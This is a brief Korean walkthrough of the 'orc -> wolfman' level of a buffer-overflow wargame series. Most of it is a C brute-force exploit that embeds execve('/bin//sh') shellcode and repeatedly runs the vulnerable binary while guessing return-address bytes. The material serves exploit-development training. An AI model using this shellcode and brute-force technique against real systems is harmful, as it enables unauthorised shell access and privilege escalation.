[BOF 원정대] orc -> wolfman (level 5)

egg헌터와 buf헌터가 있다. 

쉘코드는 argv[1]에 올라가 있으므로 이전에 사용한 brute force 소스를 사용한다.

brute.c

#include <stdio.h> #include <string.h> unsigned char shell[48] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\xff\xbf"; int main () { int i, j; unsigned char brute[2]; unsigned char cmd[250]; for ( i=255 ; i>0 ; i-- ) { for ( j=255 ; j>0 ; j-- ) { brute[0]=j; brute[1]=i; memcpy(shell+44, brute, 2); sprintf(cmd, "perl -e 'system \"./wolfman\", \"%s\"'", shell); printf("%x %x %x %x\n", shell[44], shell[45], shell[46], shell[47]); system(cmd); } } }